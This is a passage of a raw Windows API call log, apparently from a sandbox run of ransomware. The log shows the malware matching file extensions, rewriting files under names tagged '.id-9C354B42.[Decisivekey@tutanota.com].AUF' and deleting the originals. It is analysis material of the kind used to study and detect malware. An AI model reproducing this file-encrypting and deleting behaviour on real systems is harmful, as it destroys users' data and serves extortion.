(lpString=".doc") returned 4 [0205.399] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.399] lstrlenW (lpString=".docx") returned 5 [0205.399] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.399] lstrlenW (lpString=".pdf") returned 4 [0205.399] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.399] lstrlenW (lpString=".xls") returned 4 [0205.399] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.399] lstrlenW (lpString=".xlsx") returned 5 [0205.399] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.399] lstrlenW (lpString=".ppt") returned 4 [0205.399] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.399] lstrlenW (lpString=".zip") returned 4 [0205.399] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.399] lstrlenW (lpString=".rar") returned 4 [0205.399] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.399] lstrlenW (lpString=".bz2") returned 4 [0205.399] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.399] lstrlenW (lpString=".7z") returned 3 [0205.399] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.399] lstrlenW (lpString=".dbf") returned 4 [0205.399] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.399] lstrlenW (lpString=".1cd") returned 4 [0205.399] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.399] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.399] lstrlenW (lpString=".jpg") returned 4 [0205.399] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.399] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.399] lstrlenW (lpString="Setup.xml") returned 9 [0205.399] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0205.827] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=31094) returned 1 [0205.827] CloseHandle (hObject=0x178) returned 1 [0205.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0205.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0205.828] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0205.828] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0205.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0205.828] GetLastError () returned 0x0 [0205.828] ReadFile (in: hFile=0x178, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7976, lpOverlapped=0x0) returned 1 [0206.041] WriteFile (in: hFile=0x1a8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7980, lpOverlapped=0x0) returned 1 [0206.042] ReadFile (in: hFile=0x178, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0206.042] WriteFile (in: hFile=0x1a8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0206.043] SetEndOfFile (hFile=0x1a8) returned 1 [0206.043] CloseHandle (hObject=0x1a8) returned 1 [0206.044] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0206.044] SetEndOfFile (hFile=0x178) returned 1 [0206.044] CloseHandle (hObject=0x178) returned 1 [0206.044] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0206.045] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0206.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.045] lstrlenW (lpString=".doc") returned 4 [0206.045] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.045] lstrlenW (lpString=".docx") returned 5 [0206.045] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0206.045] lstrlenW (lpString=".pdf") returned 4 [0206.045] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.045] lstrlenW (lpString=".xls") returned 4 [0206.045] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.045] lstrlenW (lpString=".xlsx") returned 5 [0206.045] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0206.045] lstrlenW (lpString=".ppt") returned 4 [0206.045] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.045] lstrlenW (lpString=".zip") returned 4 [0206.045] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.045] lstrlenW (lpString=".rar") returned 4 [0206.045] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.045] lstrlenW (lpString=".bz2") returned 4 [0206.045] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.045] lstrlenW (lpString=".7z") returned 3 [0206.045] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.045] lstrlenW (lpString=".dbf") returned 4 [0206.045] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.045] lstrlenW (lpString=".1cd") returned 4 [0206.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.046] lstrlenW (lpString=".jpg") returned 4 [0206.046] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.046] lstrlenW (lpString=".doc") returned 4 [0206.046] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString=".docx") returned 5 [0206.046] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0206.046] lstrlenW (lpString=".pdf") returned 4 [0206.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString=".xls") returned 4 [0206.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString=".xlsx") returned 5 [0206.046] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0206.046] lstrlenW (lpString=".ppt") returned 4 [0206.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.046] lstrlenW (lpString=".zip") returned 4 [0206.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.046] lstrlenW (lpString=".rar") returned 4 [0206.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString=".bz2") returned 4 [0206.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString=".7z") returned 3 [0206.046] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.046] lstrlenW (lpString=".dbf") returned 4 [0206.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.046] lstrlenW (lpString=".1cd") returned 4 [0206.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0206.046] lstrlenW (lpString=".jpg") returned 4 [0206.046] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.046] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0206.046] lstrlenW (lpString="keypadbase.xml") returned 14 [0206.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0206.454] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1118) returned 1 [0206.454] CloseHandle (hObject=0x178) returned 1 [0206.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0206.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.454] lstrlenW (lpString=".doc") returned 4 [0206.454] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.454] lstrlenW (lpString=".docx") returned 5 [0206.454] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0206.454] lstrlenW (lpString=".pdf") returned 4 [0206.454] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.454] lstrlenW (lpString=".xls") returned 4 [0206.454] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString=".xlsx") returned 5 [0206.455] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0206.455] lstrlenW (lpString=".ppt") returned 4 [0206.455] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.455] lstrlenW (lpString=".zip") returned 4 [0206.455] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.455] lstrlenW (lpString=".rar") returned 4 [0206.455] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString=".bz2") returned 4 [0206.455] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString=".7z") returned 3 [0206.455] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.455] lstrlenW (lpString=".dbf") returned 4 [0206.455] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.455] lstrlenW (lpString=".1cd") returned 4 [0206.455] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.455] lstrlenW (lpString=".jpg") returned 4 [0206.455] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.455] lstrlenW (lpString=".doc") returned 4 [0206.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString=".docx") returned 5 [0206.455] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0206.455] lstrlenW (lpString=".pdf") returned 4 [0206.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString=".xls") returned 4 [0206.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString=".xlsx") returned 5 [0206.455] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0206.455] lstrlenW (lpString=".ppt") returned 4 [0206.455] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.455] lstrlenW (lpString=".zip") returned 4 [0206.455] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.455] lstrlenW (lpString=".rar") returned 4 [0206.455] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString=".bz2") returned 4 [0206.455] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.455] lstrlenW (lpString=".7z") returned 3 [0206.455] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.455] lstrlenW (lpString=".dbf") returned 4 [0206.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.456] lstrlenW (lpString=".1cd") returned 4 [0206.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0206.456] lstrlenW (lpString=".jpg") returned 4 [0206.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.456] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0206.456] lstrlenW (lpString="oskmenubase.xml") returned 15 [0206.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0207.331] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=471) returned 1 [0207.331] CloseHandle (hObject=0x194) returned 1 [0207.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0207.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0207.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.332] lstrlenW (lpString=".doc") returned 4 [0207.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString=".docx") returned 5 [0207.332] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0207.332] lstrlenW (lpString=".pdf") returned 4 [0207.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString=".xls") returned 4 [0207.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString=".xlsx") returned 5 [0207.332] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0207.332] lstrlenW (lpString=".ppt") returned 4 [0207.332] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.332] lstrlenW (lpString=".zip") returned 4 [0207.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.332] lstrlenW (lpString=".rar") returned 4 [0207.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString=".bz2") returned 4 [0207.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString=".7z") returned 3 [0207.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.332] lstrlenW (lpString=".dbf") returned 4 [0207.332] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.332] lstrlenW (lpString=".1cd") returned 4 [0207.332] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.332] lstrlenW (lpString=".jpg") returned 4 [0207.332] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.332] lstrlenW (lpString=".doc") returned 4 [0207.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString=".docx") returned 5 [0207.332] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0207.333] lstrlenW (lpString=".pdf") returned 4 [0207.333] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.333] lstrlenW (lpString=".xls") returned 4 [0207.333] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.333] lstrlenW (lpString=".xlsx") returned 5 [0207.333] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0207.333] lstrlenW (lpString=".ppt") returned 4 [0207.333] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.333] lstrlenW (lpString=".zip") returned 4 [0207.333] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.333] lstrlenW (lpString=".rar") returned 4 [0207.333] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.333] lstrlenW (lpString=".bz2") returned 4 [0207.333] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.333] lstrlenW (lpString=".7z") returned 3 [0207.333] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.333] lstrlenW (lpString=".dbf") returned 4 [0207.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.333] lstrlenW (lpString=".1cd") returned 4 [0207.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0207.333] lstrlenW (lpString=".jpg") returned 4 [0207.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.333] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0207.333] lstrlenW (lpString="oskmenu.xml") returned 11 [0207.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0208.544] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=215) returned 1 [0208.544] CloseHandle (hObject=0x194) returned 1 [0208.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0208.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0208.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.544] lstrlenW (lpString=".doc") returned 4 [0208.544] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.544] lstrlenW (lpString=".docx") returned 5 [0208.544] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0208.544] lstrlenW (lpString=".pdf") returned 4 [0208.544] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.544] lstrlenW (lpString=".xls") returned 4 [0208.544] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.544] lstrlenW (lpString=".xlsx") returned 5 [0208.544] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0208.544] lstrlenW (lpString=".ppt") returned 4 [0208.544] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0208.544] lstrlenW (lpString=".zip") returned 4 [0208.544] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.544] lstrlenW (lpString=".rar") returned 4 [0208.544] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.544] lstrlenW (lpString=".bz2") returned 4 [0208.544] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.544] lstrlenW (lpString=".7z") returned 3 [0208.544] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.544] 